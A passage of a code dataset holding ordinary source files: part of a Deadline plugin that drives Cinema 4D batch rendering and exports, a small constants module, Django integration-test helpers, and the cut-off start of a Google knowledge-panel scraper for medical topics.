scriptBuilder.AppendLine( )\n scriptBuilder.AppendLine( \"bmp = bitmaps.MultipassBitmap(rd[c4d.RDATA_XRES],rd[c4d.RDATA_YRES], c4d.COLORMODE_RGB)\" )\n scriptBuilder.AppendLine( \"results = documents.RenderDocument(deadlineDoc, rd.GetData(), bmp, c4d.RENDERFLAGS_EXTERNAL | c4d.RENDERFLAGS_SHOWERRORS)\" )\n scriptBuilder.AppendLine( \"if results != c4d.RENDERRESULT_OK:\" )\n scriptBuilder.AppendLine( \" resArray = ['Function was successful.', 'Not enough memory.', 'Assets (textures etc.) are missing.', 'Failed to save.', 'User stopped the processing.', 'GI cache is missing.']\" )\n scriptBuilder.AppendLine( \" print 'RenderDocument failed with return code '+str(results)+' meaning: ' + ( resArray[results] if len(resArray) > results else 'Unknown Error.')\" )\n # This can make the logs look a bit messy, and can sometimes be misleading when an error occurs.\n if self.Plugin.GetBooleanConfigEntryWithDefault( \"WriteScriptToLog\", False ):\n self.Plugin.LogInfo( \"Script contents:\" )\n self.Plugin.LogInfo( scriptBuilder.ToString().replace( \"\\r\", \"\" ) )\n else:\n # Common Export Code\n if \"Export\" in renderer:\n scriptBuilder.AppendLine()\n scriptBuilder.AppendLine( \"#!/usr/bin/python\" )\n scriptBuilder.AppendLine( \"# -*- coding: utf-16-le -*-\" )\n scriptBuilder.AppendLine( \"import c4d\" )\n scriptBuilder.AppendLine( \"from c4d import documents\")\n scriptBuilder.AppendLine( \"scene = documents.GetActiveDocument()\" )\n\n activeTake = self.Plugin.GetPluginInfoEntryWithDefault( \"Take\", \"\" )\n if not activeTake == \"\" and self.Plugin.GetIntegerPluginInfoEntryWithDefault( \"Version\", 17 ) >= 17 :\n scriptBuilder.AppendLine( \"from c4d.modules import takesystem\" )\n scriptBuilder.AppendLine( \"takeData = scene.GetTakeData()\" ) \n scriptBuilder.AppendLine( \"mainTake = takeData.GetMainTake()\" )\n scriptBuilder.AppendLine( \"take = mainTake.GetDown()\" )\n scriptBuilder.AppendLine()\n scriptBuilder.AppendLine( \"while take is not None:\" )\n scriptBuilder.AppendLine( \" if take.GetName() == \\\"\" + activeTake + \"\\\":\" )\n scriptBuilder.AppendLine( \" takeData.SetCurrentTake(take)\" )\n scriptBuilder.AppendLine( \" break\" )\n scriptBuilder.AppendLine( \" take = take.GetNext()\" )\n\n if renderer == \"ArnoldExport\":\n self.Plugin.LogInfo( \"Exporting to Arnold\" )\n \n scriptBuilder.AppendLine()\n scriptBuilder.AppendLine( \"ARNOLD_ASS_EXPORT = 1029993\" )\n scriptBuilder.AppendLine( \"options = c4d.BaseContainer()\" )\n scriptBuilder.AppendLine( \"options.SetInt32( 6, %s )\" % self.Plugin.GetStartFrame() )\n scriptBuilder.AppendLine( \"options.SetInt32( 7, %s )\" % self.Plugin.GetEndFrame() )\n\n assFile = self.ProcessPath( self.Plugin.GetPluginInfoEntryWithDefault( \"ExportFile\", \"\" ) )\n assFile = assFile.replace( \"\\\\\", \"\\\\\\\\\" ) # Escape the backslashes in the path\n if assFile != \"\":\n self.ValidateFilepath( os.path.dirname( assFile ) )\n scriptBuilder.AppendLine( \"options.SetFilename( 0, '%s' )\" % assFile )\n\n scriptBuilder.AppendLine( \"scene.GetSettingsInstance( c4d.DOCUMENTSETTINGS_DOCUMENT ).SetContainer( ARNOLD_ASS_EXPORT, options )\" )\n scriptBuilder.AppendLine( \"c4d.CallCommand( ARNOLD_ASS_EXPORT )\" )\n\n elif renderer == \"RedshiftExport\":\n self.Plugin.LogInfo( \"Exporting to Redshift\" )\n \n scriptBuilder.AppendLine()\n scriptBuilder.AppendLine( \"REDSHIFT_EXPORT_PLUGIN_ID = 1038650\" )\n scriptBuilder.AppendLine( \"plug = c4d.plugins.FindPlugin( REDSHIFT_EXPORT_PLUGIN_ID, c4d.PLUGINTYPE_SCENESAVER )\" )\n scriptBuilder.AppendLine( \"op = {}\" )\n scriptBuilder.AppendLine( \"plug.Message( c4d.MSG_RETRIEVEPRIVATEDATA, op )\" )\n scriptBuilder.AppendLine( \"imexporter = op[ \\\"imexporter\\\" ]\" )\n scriptBuilder.AppendLine( \"imexporter[ c4d.REDSHIFT_PROXYEXPORT_AUTOPROXY_CREATE ] = False\" )\n scriptBuilder.AppendLine( \"imexporter[ c4d.REDSHIFT_PROXYEXPORT_ANIMATION_RANGE ] = c4d.REDSHIFT_PROXYEXPORT_ANIMATION_RANGE_MANUAL\" )\n scriptBuilder.AppendLine( \"imexporter[ c4d.REDSHIFT_PROXYEXPORT_ANIMATION_FRAME_START ] = %s\" % self.Plugin.GetStartFrame() )\n scriptBuilder.AppendLine( \"imexporter[ c4d.REDSHIFT_PROXYEXPORT_ANIMATION_FRAME_END ] = %s\" % self.Plugin.GetEndFrame() )\n scriptBuilder.AppendLine( \"imexporter[ c4d.REDSHIFT_PROXYEXPORT_ANIMATION_FRAME_STEP ] = 1\" )\n\n rsFile = self.ProcessPath( self.Plugin.GetPluginInfoEntryWithDefault( \"ExportFile\", \"\" ) )\n rsFile = rsFile.replace( \"\\\\\", \"\\\\\\\\\" ) # Escape the backslashes in the path\n rsFile = rsFile.replace(\"#\",\"\") # Redshift automatically adds the frame numbers.\n if rsFile != \"\":\n self.ValidateFilepath( os.path.dirname( rsFile ) )\n scriptBuilder.AppendLine( \"documents.SaveDocument(scene, \\\"%s\\\", c4d.SAVEDOCUMENTFLAGS_0, REDSHIFT_EXPORT_PLUGIN_ID)\" % rsFile )\n scriptBuilder.AppendLine( \"print 'Exported: %s'\" % rsFile )\n else:\n self.Plugin.FailRender( \"Failed to export Redshift Scene - No output file name set.\" )\n\n self.ScriptFilename = os.path.join( self.renderTempDirectory, \"c4d_Batch_Script.py\" )\n File.WriteAllText( self.ScriptFilename, scriptBuilder.ToString(), Encoding.UTF8 )\n self.Plugin.LogInfo( \"\" )\n if SystemUtils.IsRunningOnMac():\n os.chmod( self.ScriptFilename, os.stat( Path.GetTempFileName() ).st_mode )\n \n self.Cinema4DSocket.Send( \"RunScript:\" + self.ScriptFilename )\n self.Plugin.LogInfo( self.PollUntilComplete( False ) )\n self.Plugin.FlushMonitoredManagedProcessStdout( self.ProgramName )\n\n if self.LocalRendering:\n if self.NetworkFilePath != \"\":\n self.Plugin.LogInfo( \"Moving main output files and folders from \" + self.LocalFilePath + \" to \" + self.NetworkFilePath )\n self.Plugin.VerifyAndMoveDirectory( self.LocalFilePath, self.NetworkFilePath, False, -1 )\n if self.NetworkMPFilePath != \"\":\n self.Plugin.LogInfo( \"Moving multipass output files and folders from \" + self.LocalMPFilePath + \" to \" + self.NetworkMPFilePath )\n self.Plugin.VerifyAndMoveDirectory( self.LocalMPFilePath, self.NetworkMPFilePath, False, -1 )\n\n self.Plugin.LogInfo( \"Finished Cinema 4D Task\" )\n\n def SplitTokens( self, filePath ):\n if not \"$\" in filePath:\n return filePath, \"\"\n \n preTokenPath = \"\"\n postTokenPath = \"\"\n \n tokenIndex = -1\n tokenParts = filePath.replace(\"\\\\\",\"/\").split(\"/\")\n for i, pathPart in enumerate(tokenParts):\n if \"$\" in pathPart:\n tokenIndex = i\n break\n \n preTokenPath = \"/\".join( tokenParts[:tokenIndex] )\n postTokenPath = \"/\".join( tokenParts[tokenIndex:] )\n \n return preTokenPath, postTokenPath\n\n def ValidateFilepath( self, directory ):\n self.Plugin.LogInfo( \"Validating the path: '%s'\" % directory )\n\n if not os.path.exists( directory ):\n try:\n os.makedirs( directory )\n except:\n self.Plugin.FailRender( \"Failed to create path: '%s'\" % directory )\n\n # Test to see if we have permission to create a file\n try:\n # TemporaryFile deletes the \"file\" when it closes, we only care that it can be created\n with tempfile.TemporaryFile( dir=directory ) as tempFile:\n pass\n except:\n self.Plugin.FailRender( \"Failed to create test file in directory: '%s'\" % directory )\n\n # This tells Cinema4D to unload the current scene file.\n def EndCinema4DJob( self ):\n if( not self.Plugin.MonitoredManagedProcessIsRunning( self.ProgramName ) ):\n self.Plugin.LogWarning( \"Cinema 4D.exe was shut down before the proper shut down sequence\" )\n else:\n response = \"\"\n \n # If an error occurs while sending EndJob, set the response so that we don't enter the while loop below.\n try:\n self.Plugin.LogInfo(\"Sending End Job\")\n self.Cinema4DSocket.Send( \"EndJob\" )\n except Exception as e:\n response = ( \"ERROR: Error sending EndJob command: %s\" % e.Message )\n \n countdown = 5000\n while( countdown > 0 and response == \"\" ):\n try:\n countdown = countdown - 100\n response = self.Cinema4DSocket.Receive( 100 )\n \n # If this is a STDOUT message, print it out and reset 'response' so that we keep looping\n match = self.StdoutRegex.Match( response )\n if( match.Success ):\n self.Plugin.LogInfo( match.Groups[ 1 ].Value )\n response = \"\"\n \n # If this is a WARN message, print it out and reset 'response' so that we keep looping\n match = self.WarnRegex.Match( response )\n if( match.Success ):\n self.Plugin.LogWarning( match.Groups[ 1 ].Value )\n response = \"\"\n \n except Exception as e:\n if( not isinstance( e, SimpleSocketTimeoutException ) ):\n response = ( \"ERROR: Error when waiting for renderer to close: %s\" % e.Message )\n \n if( response == \"\" ):\n self.Plugin.LogWarning( \"Timed out waiting for the renderer to close.\" )\n \n if( response.startswith( \"ERROR: \" ) ):\n self.Plugin.LogWarning( response[7:] )\n \n if( not response.startswith( \"SUCCESS\" ) ):\n self.Plugin.LogWarning( \"Did not receive a success message in response to EndJob: %s\" % response )\n \n while self.Plugin.MonitoredManagedProcessIsRunning( self.ProgramName ):\n pass\n \n def PollUntilComplete( self, timeoutEnabled, timeoutOverride=-1 ):\n progressCountdown = (self.ProgressUpdateTimeout if timeoutOverride < 0 else timeoutOverride) * 1000\n \n while( progressCountdown > 0 and self.Cinema4DSocket.IsConnected and not self.Plugin.IsCanceled() ):\n try:\n # Verify that Cinema 4D is still running.\n self.Plugin.VerifyMonitoredManagedProcess( self.ProgramName )\n self.Plugin.FlushMonitoredManagedProcessStdout( self.ProgramName )\n \n # Check for any popup dialogs.\n blockingDialogMessage = self.Plugin.CheckForMonitoredManagedProcessPopups( self.ProgramName )\n if( blockingDialogMessage != \"\" ):\n self.Plugin.FailRender( blockingDialogMessage )\n \n # Only decrement the timeout value if timeouts are enabled\n if timeoutEnabled:\n progressCountdown = progressCountdown - 500\n \n start = DateTime.Now.Ticks\n while( TimeSpan.FromTicks( DateTime.Now.Ticks - start ).Milliseconds < 500 ):\n request = self.Cinema4DSocket.Receive( 500 )\n \n # We received a request, so reset the progress update timeout.\n progressCountdown = (self.ProgressUpdateTimeout if timeoutOverride < 0 else timeoutOverride) * 1000\n \n match = self.SuccessMessageRegex.Match( request )\n if( match.Success ): # Render finished successfully\n return match.Groups[ 1 ].Value\n \n if( self.SuccessNoMessageRegex.IsMatch( request ) ): # Render finished successfully\n return \"\"\n \n if( self.CanceledRegex.IsMatch( request ) ): # Render was canceled\n self.Plugin.FailRender( \"Render was canceled\" )\n continue\n \n match = self.ErrorRegex.Match( request )\n if( match.Success ): # There was an error\n self.Plugin.FailRender( \"%s\" % match.Groups[ 1 ].Value )\n continue\n \n except Exception as e:\n if( isinstance( e, SimpleSocketTimeoutException ) ):\n if( progressCountdown <= 0 ):\n if timeoutOverride < 0:\n self.Plugin.FailRender( \"Timed out waiting for the next progress update. The ProgressUpdateTimeout setting can be modified in the Cinema4D Batch plugin configuration.\" )\n else:\n self.Plugin.FailRender( \"Timed out waiting for the next progress update.\" )\n elif( isinstance( e, SimpleSocketException ) ):\n self.Plugin.FailRender( \"RenderTask: Cinema4D may have crashed (%s)\" % e.Message )\n else:\n self.Plugin.FailRender( \"RenderTask: Unexpected exception (%s)\" % e.Message )\n \n if( self.Plugin.IsCanceled() ):\n self.Plugin.FailRender( \"Render was canceled\" )\n \n if( not self.Cinema4DSocket.IsConnected ):\n self.Plugin.FailRender( \"Socket disconnected unexpectedly\" )\n \n return \"undefined\"\n \n def LaunchCinema4D( self, executable, arguments, startupDir ):\n self.ManagedCinema4DProcessRenderExecutable = executable\n self.ManagedCinema4DProcessRenderArgument = arguments\n self.ManagedCinema4DProcessStartupDirectory = startupDir\n \n self.Cinema4DProcess = Cinema4DProcess(self)\n self.Plugin.StartMonitoredManagedProcess( self.ProgramName, self.Cinema4DProcess )\n self.Plugin.VerifyMonitoredManagedProcess( self.ProgramName )\n \n def WaitForConnection( self, errorMessageOperation ):\n startTime = DateTime.Now\n receivedToken = \"\"\n while( DateTime.Now.Subtract( startTime ).TotalSeconds < self.LoadCinema4DTimeout and not self.Cinema4DSocket.IsConnected and not self.Plugin.IsCanceled() ):\n try:\n self.Plugin.VerifyMonitoredManagedProcess( self.ProgramName )\n self.Plugin.FlushMonitoredManagedProcessStdout( self.ProgramName )\n \n blockingDialogMessage = self.Plugin.CheckForMonitoredManagedProcessPopups( self.ProgramName )\n if( blockingDialogMessage != \"\" ):\n self.Plugin.FailRender( blockingDialogMessage )\n \n self.Cinema4DSocket.WaitForConnection( 500, True )\n\n receivedToken = self.Cinema4DSocket.Receive( 3000 )\n if( receivedToken.startswith( \"TOKEN:\" ) ):\n receivedToken = receivedToken[6:]\n else:\n self.Plugin.LogInfo(\"Disconnecting: \"+receivedToken)\n self.Cinema4DSocket.Disconnect( False )\n self.Plugin.LogInfo(\"Received Token: \"+receivedToken)\n except Exception as e:\n if os.path.isfile(self.importTestFile):\n failedImports = []\n with open( self.importTestFile, \"r\" ) as importFileHandle:\n for line in importFileHandle:\n failedImports.append( line.strip() )\n self.Plugin.FailRender( \"Failed to import the following modules: %s\\nPlease ensure that your environment is set correctly or that you are allowing Deadline to set the render environment.\" % \", \".join(failedImports) )\n\n if( not isinstance( e, SimpleSocketTimeoutException ) ):\n self.Plugin.FailRender( \"%s: Error getting connection from Cinema4D: %s\" % (errorMessageOperation, e.Message) )\n \n if( self.Plugin.IsCanceled() ):\n self.Plugin.FailRender( \"%s: Initialization was canceled by Deadline\" % errorMessageOperation )\n if( not self.Cinema4DSocket.IsConnected ):\n if( DateTime.Now.Subtract( startTime ).TotalSeconds < self.LoadCinema4DTimeout ):\n self.Plugin.FailRender( \"%s: Cinema4D exited unexpectedly - check that Cinema4D starts up with no dialog messages\" % (errorMessageOperation) )\n else:\n self.Plugin.FailRender( \"%s: Timed out waiting for Cinema4D to start - consider increasing the LoadCinema4DTimeout in the Cinema4D plugin configuration\" % (errorMessageOperation) )\n \n if( receivedToken != self.AuthentificationToken ):\n self.Plugin.FailRender( \"%s: Did not receive expected token from Cinema4d (got \\\"%s\\\") - an unexpected error may have occurred during initialization\" % (errorMessageOperation, receivedToken) )\n \n######################################################################\n## This is the class that starts up the Cinema4D process.\n######################################################################\nclass Cinema4DProcess( ManagedProcess ):\n \n Cinema4DController = None\n \n def __init__( self, cinema4DController ):\n self.Cinema4DController = cinema4DController\n self.InitializeProcessCallback += self.InitializeProcess\n self.RenderExecutableCallback += self.RenderExecutable\n self.RenderArgumentCallback += self.RenderArgument\n self.StartupDirectoryCallback += self.StartupDirectory\n \n def Cleanup( self ):\n for stdoutHandler in self.StdoutHandlers:\n del stdoutHandler.HandleCallback\n \n del self.InitializeProcessCallback\n del self.RenderExecutableCallback\n del self.RenderArgumentCallback\n del self.StartupDirectoryCallback\n \n def InitializeProcess( self ):\n self.ProcessPriority = ProcessPriorityClass.BelowNormal\n self.UseProcessTree = True\n self.SingleFramesOnly = False\n self.StdoutHandling = True\n self.PopupHandling = True\n \n self.FinishedFrameCount = 0\n self.CheckProgress = False\n self.CurrentRenderPhase = \"\"\n self.currFrame = None\n self.prevFrame = self.Cinema4DController.Plugin.GetStartFrame()\n \n #self.AddStdoutHandlerCallback(\"Error:.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Document not found.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Project not found.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Error rendering project.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Error loading project.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Error rendering document.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Error loading document.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Rendering failed.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Asset missing.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Asset Error.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Invalid License from License Server.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Files cannot be written.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Enter Registration Data.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*The output resolution is too high for the selected render engine.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*Unable to write file.*\").HandleCallback += self.HandleStdoutError\n self.AddStdoutHandlerCallback(\".*RenderDocument failed with return code.*\").HandleCallback += self.HandleStdoutError\n\n self.AddStdoutHandlerCallback(\".*Warning: Unknown arguments: -DeadlineConnect.*\").HandleCallback += self.HandlePluginEnvironment\n \n self.AddStdoutHandlerCallback(\".*Rendering frame ([0-9]+) at.*\").HandleCallback += self.HandleStdoutProgress\n self.AddStdoutHandlerCallback(\".*Rendering Phase: Setup.*\").HandleCallback += self.HandleSetupProgress\n self.AddStdoutHandlerCallback(\".*Rendering Phase: Main Render.*\").HandleCallback += self.HandleProgressCheck\n self.AddStdoutHandlerCallback(\".*Progress: (\\d+)%.*\").HandleCallback += self.HandleTaskProgress \n self.AddStdoutHandlerCallback(\".*Rendering successful.*\").HandleCallback += self.HandleProgress2\n self.AddStdoutHandlerCallback(\".*Rendering Phase: Finalize.*\").HandleCallback += self.HandleFrameProgress\n\n self.AddStdoutHandlerCallback( \".*ImportError: No module named site.*\" ).HandleCallback += self.HandleNoSite\n self.AddStdoutHandlerCallback( \".*code for hash .* was not found.\" ).HandleCallback += self.HandleHashNotFound\n \n # Handle QuickTime popup dialog\n # \"QuickTime does not support the current Display Setting. Please change it and restart this application.\"\n self.AddPopupHandler( \"Unsupported Display\", \"OK\" )\n self.AddPopupHandler( \"Nicht.*\", \"OK\" )\n\n self.AddPopupHandler( \".*Render history settings.*\", \"OK\" )\n\n def RenderExecutable( self ):\n return self.Cinema4DController.ManagedCinema4DProcessRenderExecutable\n \n def RenderArgument( self ):\n return self.Cinema4DController.ManagedCinema4DProcessRenderArgument\n \n def StartupDirectory( self ):\n return self.Cinema4DController.ManagedCinema4DProcessStartupDirectory\n\n def HandleNoSite( self ):\n self.Cinema4DController.Plugin.FailRender( \"Failed to import the following modules: site\\nPlease ensure that your environment is set correctly or that you are allowing Deadline to set the render environment.\\nPlease go to the C4D FAQ in the Deadline documentation for more information.\" )\n\n def HandleHashNotFound( self ):\n self.Cinema4DController.Plugin.LogInfo( \"OpenSSL has not been set up to work properly with C4D Batch, this is a non-blocking issue.\\nPlease go to the C4D FAQ in the Deadline documentation for more information.\" )\n\n def HandleStdoutProgress( self ):\n startFrame = self.Cinema4DController.Plugin.GetStartFrame()\n endFrame = self.Cinema4DController.Plugin.GetEndFrame()\n currFrame = int( self.GetRegexMatch(1) )\n \n if (endFrame - startFrame + 1) != 0:\n self.Cinema4DController.Plugin.SetProgress( 100 * ( currFrame - startFrame ) / ( endFrame - startFrame + 1 ) )\n \n self.Cinema4DController.Plugin.SetStatusMessage( self.GetRegexMatch(0) )\n \n def HandleProgress2( self ):\n self.SetProgress( 100 )\n self.SetStatusMessage( self.GetRegexMatch(0) )\n \n def HandleStdoutError( self ):\n self.Cinema4DController.Plugin.FailRender(self.GetRegexMatch(0))\n\n def HandlePluginEnvironment( self ):\n self.Cinema4DController.Plugin.FailRender( self.GetRegexMatch(0) + \"\\nC4D was unable to locate DeadlineConnect.pyp. This is a known issue in R18 and R19 for Cinema4DBatch, please go to the C4D FAQ in the Deadline documentation for a workaround.\" )\n \n def HandleSetupProgress( self ):\n #If frame number is given update the Render status with the current frame\n if self.currFrame != None:\n self.CurrentRenderPhase = \"Frame: \"+str(self.currFrame)+\", Rendering Phase: Setup\"\n else:\n self.CurrentRenderPhase = \"Rendering Phase: Setup\"\n\n def HandleProgressCheck( self ):\n self.CheckProgress = True\n \n #If frame number is given update the Render status with the current frame\n if self.currFrame != None:\n self.CurrentRenderPhase = \"Frame: \"+str(self.currFrame)+\", Rendering Phase: Main Render\"\n else:\n self.CurrentRenderPhase = \"Rendering Phase: Main Render\"\n \n def HandleTaskProgress( self ):\n startFrame = self.Cinema4DController.Plugin.GetStartFrame()\n endFrame = self.Cinema4DController.Plugin.GetEndFrame()\n # Sometimes progress is reported as over 100%. We don't know why, but we're handling it here.\n subProgress = 1\n if float(self.GetRegexMatch(1)) <= 100:\n subProgress = float(self.GetRegexMatch(1))/100\n \n if self.currFrame != None and self.CheckProgress and ( endFrame - startFrame + 1 != 0 ): \n \n if(self.prevFrame +subProgress) < self.currFrame:\n self.prevFrame = self.currFrame\n self.Cinema4DController.Plugin.SetProgress( 100 * ( self.currFrame - startFrame ) / ( endFrame - startFrame + 1 ) ) \n else:\n self.Cinema4DController.Plugin.SetProgress( int(100 * float(self.currFrame + subProgress - startFrame ) / float( endFrame - startFrame + 1 )) )\n \n #Update the 'Task Render Status' with the progress of each Render Phase\n self.Cinema4DController.Plugin.SetStatusMessage( str(self.CurrentRenderPhase)+\" - Progress: \"+str(self.GetRegexMatch(1))+\"%\" )\n \n def HandleFrameProgress( self ):\n self.FinishedFrameCount = self.FinishedFrameCount + 1\n self.CheckProgress = False\n \n #If frame number is given update the Render status with the current frame\n if self.currFrame != None:\n self.CurrentRenderPhase = \"Frame: \"+str(self.currFrame)+\", Rendering Phase: Finalize\"\n else:\n self.CurrentRenderPhase = \"Rendering Phase: Finalize\"\n \n startFrame = self.Cinema4DController.Plugin.GetStartFrame()\n endFrame = self.Cinema4DController.Plugin.GetEndFrame()\n if( endFrame - startFrame + 1 != 0 ):\n self.Cinema4DController.Plugin.SetProgress( 100 * self.FinishedFrameCount / ( endFrame - startFrame + 1 ) )\n self.Cinema4DController.Plugin.LogInfo( \"Task Overall Progress: \" + str(100 * self.FinishedFrameCount / ( endFrame - startFrame + 1 ))+\"%\")\n ","sub_path":"custom/plugins/RBCinema4DBatch/RBCinema4DBatch.py","file_name":"RBCinema4DBatch.py","file_ext":"py","file_size_in_byte":53635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"142968013","text":"t_notebook = \"api\"\nt_static = \"static\"\nt_task = \"tasks\"\nt_dependency = \"dependency\"\nt_scheduler = \"scheduler\"\n\nt_add = \"installed\"\nt_delete = \"delete\"\nt_update = \"edited\"\nt_start = \"started\"\nt_skip = \"skiped\"\nt_error = \"error\"\nt_health = \"healthy\"\nt_main = \"main\"\n","sub_path":"naas/types.py","file_name":"types.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"586847189","text":"from django.core.urlresolvers import reverse\nfrom django.shortcuts import render\nfrom django.test import TestCase\n\nfrom .request import BaseRequestTestCase\n\n\nclass BaseAdminIntegrationTestCase(TestCase):\n \"\"\"Base class to test the admin.\n\n Provide methods to access `add`, `changelist`, `change` and `delete` pages.\n\n Must be subclassed with the following attributes in order to work:\n * `user_factory` which defines a 'FactoryBoy' User factory to authenticate\n the client;\n * `model` which defines the model to test.\n \"\"\"\n def setUp(self):\n \"\"\"Create a user and authenticate it on the client.\"\"\"\n admin_user = self.user_factory.create()\n logged_in = self.client.login(\n username=admin_user.get_username(),\n password=admin_user.raw_password,\n )\n self.assertTrue(logged_in)\n\n def get_url_name(self, action):\n \"\"\"Generate admin url name for `self.model`.\"\"\"\n return 'admin:{app}_{model}_{action}'.format(\n app=self.model._meta.app_label,\n model=self.model._meta.object_name.lower(),\n action=action,\n )\n\n def get_admin_page(self, page, args=None):\n \"\"\"Generic method to `GET` an admin page.\"\"\"\n url_name = self.get_url_name(page)\n return self.client.get(reverse(url_name, args=args))\n\n def get_admin_add_page(self):\n \"\"\"`GET` the add page for the model admin.\"\"\"\n return self.get_admin_page('add')\n\n def get_admin_changelist_page(self):\n \"\"\"`GET` the changelist page for the model admin.\"\"\"\n return self.get_admin_page('changelist')\n\n def get_admin_change_page(self, obj):\n \"\"\"`GET` the object change page for the model admin.\"\"\"\n return self.get_admin_page('change', (obj.pk,))\n\n def get_admin_delete_page(self, obj):\n \"\"\"`GET` the object delete page for the model admin.\"\"\"\n return self.get_admin_page('delete', (obj.pk,))\n\n\nclass BaseIntegrationTestCase(BaseRequestTestCase):\n \"\"\"\n A TestCase that operates similarly to a Selenium test.\n\n Contains methods that access pages and render them to strings full of\n HTML. Can be used to assert the contents of templates as well as doing\n normal TestCase things.\n\n Must be subclassed with the following attributes in order to work:\n * user_factory\n * view (class-based or function-based view)\n \"\"\"\n\n def access_view(self, *args, **kwargs):\n \"\"\"\n Helper method that accesses the test's view.\n\n Accepts an optional 'request' kwarg. If this isn't supplied,\n access_view creates a basic request on your behalf.\n\n Returns a HTTPResponse object with the request (created or otherwise)\n attached.\n \"\"\"\n request = kwargs.pop('request', None)\n if request is None:\n request = self.create_request(add_session=True)\n\n view_callable = self.get_view()\n response = view_callable(request, *args, **kwargs)\n\n # Add the request to the response.\n # This is a weird-looking but compact way of ensuring we have access to\n # the request everywhere we need it, without doing clunky things like\n # returning tuples all the time.\n response.request = request\n return response\n\n def render_to_str(self, response, request=None):\n \"\"\"\n Render a HTTPResponse into a string that holds the HTML content.\n\n Accepts an optional request parameter, and looks for a request attached\n to the response if the optional parameter isn't specified.\n \"\"\"\n if request is None:\n request = response.request\n\n response = render(request, response.template_name, response.context_data)\n return response.content.decode('utf-8')\n\n def access_view_and_render_response(self, *args, **kwargs):\n \"\"\"\n Accesses the view and returns a string of HTML.\n\n Combines access_view, an assertion on the returned status, and\n render_to_str.\n\n Accepts an optional 'request' kwarg holding a HTTPRequest, but will\n create a simple one if the parameter isn't supplied, and\n 'expected_status', an expected status code for the response, which\n defaults to 200. Other args and kwargs are passed on to the view\n method.\n \"\"\"\n request = kwargs.pop('request', None)\n expected_status = kwargs.pop('expected_status', 200)\n\n response = self.access_view(*args, request=request, **kwargs)\n\n # Assert that the response has the correct status code before we go\n # any further. Throwing accurately descriptive failures when something\n # goes wrong is better than trying to run assertions on the content\n # of a HTML response for some random 404 page.\n self.assertEqual(expected_status, response.status_code)\n\n # Render the response and return it.\n return self.render_to_str(response)\n\n @staticmethod\n def _assert_count_message(needle, haystack, count, actual_count):\n # Build a verbose error message in case we need it.\n plural = '' if count == 1 else 's'\n message = (\n 'Expected {count} instance{plural} of {needle}, but found '\n + '{actual_count}, in {haystack}'\n )\n return message.format(\n count=count,\n plural=plural,\n needle=needle,\n actual_count=actual_count,\n haystack=haystack,\n )\n\n def assert_count(self, needle, haystack, count):\n \"\"\"\n Assert that 'needle' occurs exactly 'count' times in 'haystack'.\n\n Used as a snazzier, stricter version of unittest.assertIn.\n Outputs a verbose error message when it fails.\n \"\"\"\n actual_count = haystack.count(needle)\n\n message_args = (needle, haystack, count, actual_count)\n message = self._assert_count_message(*message_args)\n\n self.assertEqual(count, actual_count, message)\n","sub_path":"incuna_test_utils/testcases/integration.py","file_name":"integration.py","file_ext":"py","file_size_in_byte":5983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"398990557","text":"import csv, json, re, sys\nimport requests\n\nheaders_Get = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'en-US,en;q=0.5',\n 'Accept-Encoding': 'gzip, deflate',\n 'DNT': '1',\n 'Connection': 'keep-alive',\n 'Upgrade-Insecure-Requests': '1'\n }\n\nhtml_tags = {\n 'knowledge_panel': 'kp-blk knowledge-panel',\n 'knowledge_panel1': 'kp-wholepage kp-wholepage-osrp HSryR EyBRub',\n 'claimed': \"Own this business?\",\n 'name': \"K9xsvf lYo97 kno-fb-ctx\",\n 'Common causes of this symptom': 'BWsxhd kno-fb-ctx',\n 'Self-treatment': \"lNDTPb\",\n 'disease':\"PyJv1b gsmt PZPZlf\",\n 'overview': \"wQu7gc g6dx0b\",\n 'symptoms': 'rfZj8c',\n 'treatment': 'vnLNtd mnr-c XleQBd B03h3d P6OZi V14nKc ptcLIOszQJu__wholepage-card wp-ms'\n}\n\nhtml_regexes = {\n 'name': '(.*?)',\n 'named': '(.*?)',\n 'Common causes of this symptom': '>(.*?)(.*?)
  • (.*?)
  • ',\n 'overview':'
    (.*?)
    ',\n 'overview1':'
    (.*?)

    ',\n 'symptoms':'>(.*?)(.*)
    ',\n 'treatment':'
    (.*?)

